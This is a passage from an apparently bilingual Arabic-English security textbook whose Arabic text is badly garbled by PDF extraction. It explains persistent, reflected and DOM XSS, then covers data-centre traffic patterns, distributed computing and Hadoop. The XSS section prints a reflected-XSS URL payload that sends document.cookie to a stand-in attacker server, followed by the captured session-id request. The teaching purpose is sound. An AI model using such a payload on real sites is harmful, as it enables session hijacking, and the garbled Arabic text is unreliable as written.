النقاط التي بني ال ُ <Script></Script> Tagsت َع ِّرب عن ال ،malicious codeذذا الكود ربام تكون وظيفته
الوصول لىل ال Cookieاخلاصة ِبذا ال userونسخها ُثم لرساهلا لىل ال .Attacker
يقوم ال Attackerبتضمني كود مستخدم ًا األمر document.cookieيف أحد ال ،input forumsقيتمكن ِبذا
احلصول عىل ال cookieاخلاصة بأي زائر هلذه الصفحة.
ِ -2سقة كلامت املرور عن طريق ال .Keylogging
يقوم ال ُ attackerذنا ب َزرع keyboard event listenerباستخدام األمر addEventListener
][428
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Persistent XSS
where the malicious string originates from the website's database.
Reflected XSS
where the malicious string originates from the victim's request.
DOM-based XSS
where the vulnerability is in the client-side code rather than Server-side code.
Persistent XSS
:ماييل شكل يوضح ططوات تنفيذ ذذا النوع من اهلجوم
[429]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
( )1يقوم ال attackerباستغالل أحد ال input forumsيف املوقع ليقوم بإدطال malicious stringلليه عن
طريق .Post method
][430
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
( )2يقوم أي userعشوائي ُذنا بطلب ذذه الصفحة من املوقع ،الحظ استخدام .Get method
( )3يقوم املوقع بعمل Responseلل victimبإرسال الصفحة وِبا ال malicious stringالتي قام ال attackerبإدطاهلا
لىل قاعدة البيانات يف اخلطوة األوىل .الحظ الرقم 200يف ال responseوذو يعني ماييل:
it means that the request was successful, and that the requested resource is being returned.
( )4يقوم ال victim’s browserبتنفيذ ال malicious codeوذو عبارة عن كود لنسخ ال
Session cookieاخلاص بال victimولرساله لىل Serverخيُص ال .attacker
ومالذي سيستفيده ال attackerبعد أطذ ذذا ال ..Session cookie؟
سيقوم بعدذا بالتعامل مع ذذا املوقع عىل أن ُه ُذ َو ذذا ال ،victimأي أنه سيتمكن من انتحال شخصية ذذا ال .user
][431
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Reflected XSS
[432]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
][433
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
قيضغط عليه دون تدقيق يفvictim “ يظهر أمام الmessage error” ُذنا بإرسال كود داطلAttacker ) يقوم ال2(
:user ذذا مثال عىل مايظهر لل.!معناه
Session ID أو الcookie من املوقع بأن ُيرسل له املوقع الvictim سيطلبه الrequest ذذا الكود عبارة عن
http://website.net/error/5/Error.ashx?message=<script>var+i=new+Image;
+i.src=”http://serverattacker.net/”%2bdocument.cookie;</script>
[434]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
،attacker اخلاص بالserver لىل الrequest عن طريق عملAttacker لىل الSession ID الvictim ) ُيرسل ال6(
.victim اخلاصة بالSession Token يتضمن الrequest ذذا ال
:request ماييل شكل هلذا ال
session id الحظ ال
GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1
Host: serverattacker.net
.victim ويتعامل مع املوقع ُمنتحالً شخصية الsession id ذذا الattacker ) يستخدم ال7(
Appendix (B)
[435]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
مع انتشار تكنولوجيا ال Virtualizationوال ،Cloud Computingوال Distributed Cloudم َثل تكنولوجيا ال
Hadoopيف بيئة ال ..Data Centerبدأت احلاجة الفعلية ملزيد من املُقومات ولىل الُسعات العالية يف نقل البيانات
والتي مل ُيثبت ال Traditional Architectureالكفاءة ِبا!،
قبدأت احلاجة البتكار Architectureأو Modelجديد و ُموقر يف نفس الوقت .قكانت احلاجة لظهورArchitecture
][436
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Core Layer
Core Layer is considered as the back bone of networks, The Core Layer routers move
information on the network as fast as possible.
Core Layer consists of biggest, fastest, and most expensive routers with the highest model
numbers.
Aggregation Layer
The purpose of this layer is to provide boundary definition by implementing access lists and
other filters. Therefore the Distribution Layer defines policy for the network. Distribution Layer
includes layer 3 switches. it ensures that packets are properly routed between subnets and
VLANs in the enterprise.
[437]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Access Layer
Access layer switches ensures that packets are delivered to the end devices,
It includes Access Switches which are connected to the end devices (Computers, and Servers).
.Data Center ا ُملتعارف عليهم يف الTraffic Patterns سنقوم بتوضيح نوعني من ال
:النوع األول
North-South Traffic
.“Client-Server Traffic” نُطلق عليه أيض ًاTraffic ذذا النوع من ال
Traffic between Data Center and any thing else outside, (Traffic that travels in and out of the
data center).
[438]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
East-West Traffic
مع ظهور التكنولوجيا احلديثة ،كال Virtualizationوال Distributed Cloudبدأ املسار يتجه ل Patternآطر من
ال Trafficوذو ال .East-Westونُطلق عليه أيض ًا ” ،“Server-to-Server Trafficوذو ال Trafficاحلادث داطل
ال Data Centerذاهتا .قلو قرضنا وجود ُ Serverمتصل بال Access Switchاملوجود يف أقىص اليسارُ ،يريد أن
يتواصل مع Serverآطر ُمتصل بال Access Switchاملوجود بأقىص اليمني ،قكيف سيتم ذلك؟
ستقوم ال Packetبأطذ مسار ألعىل لىل ال Core Routersومن َثم ألسفل مر ًة أطرى كي تصل لىل ال Switch
][439
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
وبفرض وجود ( Cluster of Serversنتكلم ُذنا عن مئات من ال )Serversالتي تقوم بعمل Calculations in
parallelكام يف حالة استخدام ال Apache Hadoopعىل سبيل املثال ،قلن تتحمل الشبكة هنائي ًا أي نقص يف ال
تواصل ُمكثف قيام بينها داطل ال
ُ Bandwidthأو يف ال .Latencyوذذا ألن ال ُ Serversذنا ستحتاج لعمليات
.!Clusterقإذا جئنا لتطبيق ذذا األمر باستخدام ال Traditional Modelوذو ال ،Three-tier Architecture
قنكون ِبذا نُؤدي لضياع ال Businessاملرجو من وراء ذذا ال َع َمل.
][440
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
حينها).
ذذا ال Architectureيعمل بكفاءة عالية يف حالة ال ” “East-West Traffic Patternلقيامه بتفعيل كامل ال
Network Resourcesوتاليف اهلدر احلادث يف ال .Bandwidth
][441
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
)Appendix (C
Distributed computing is a model in which components of a software system are shared among
multiple computers to improve efficiency and performance.
عرب عن عملية تشغيل Applicationأو Systemما ،عىل جمموعة من األجهزة بدالً من جهاز واحد! ،ذذه
لنه ُي ِّ
األجهزة تُسمى ..Nodesذذه ال Nodesتكون ُمرتبطة ببعضها داطل شبكة ..ذذه الشبكة من األجهزة املُرتاصة
ُسميها ..Clusterذذا ال Clusterنُسميه ” “Cluster Computingلذا كانت الشبكة حملية ) ،(LANونُطلق عليه
ن ِّ
” “Grid Computingيف حالة لذا كان ال ُ Distributed Computingموزع عىل ال ) .(WANنستخدم أيض ًا مبدأ ال
Distributed Computingيف ال Computational Problemsالكبرية ،والتي ال ُيمكن جلهاز وحيد استيعاِبا! ،قيتم
تقسيم ذذه ال Processأو ال Problemلىل جمموعة من ال Tasksأو املهام ،يتم توزيعها عىل جمموعة من ال ،Nodes
ذذه ال Nodesلدهيا القابلية للتواصل مع بعضها البعض كام يظهر بالشكل.
][442
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
يظهر عىل اليمني النظام البسيط ،وذو ال ،Parallel Computingنُالحظ وجود Shared Memoryيتشارك ِبا
جمموعة من ا ُملعاجلات .Multiprocessor
بينام عىل اليسار يبدو أنه ،Distributed Memory Systemو ُيشري اإلطار ا ُملحيط بكل Nodeلىل أنه جهاز ُمستقل!،
ُسميه بال .Multicomputer
وذذا ما ن ِّ
][443
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُأطرى يف ال .Clusterكام أنه يقوم بعمل أكثر من نُسخة من البيانات حتى يتمكن من اسرتجاعها يف حالة حدوث أي
ققد ،وذذا ما نُسميه بال ”“High Availability
][444
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Hadoop Common
ذذا اجلزء حيتوي عىل ال Librariesوال Utilitiesالتي ستحتاجها بقية ال .Modules
Hadoop MapReduce
ذذا اجلزء عبارة عن ،Programming Modelذو يف األصل ..Softwareتتلخص وظيفته يف عمل Processing
خمة م َن ال .Data
لكميات َض َ
Hadoop YARN
ذذه عبارة عن Platformتقوم بعمل Managementلل ،Resourcesذذه ال Resourcesذي ال Computing
بالطبع ،كام نعلم أننا أمام كَم كبري من ال Nodesداطل ال Clusterوبالتايل نحن بحاجة إلدارة ذذه ال .Resources
كانت ذذه ذي ا ُملكونات األساسية لل ،Apache Hadoopو ُيط َلق عليها ”.“Base Modules
][445
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
[446]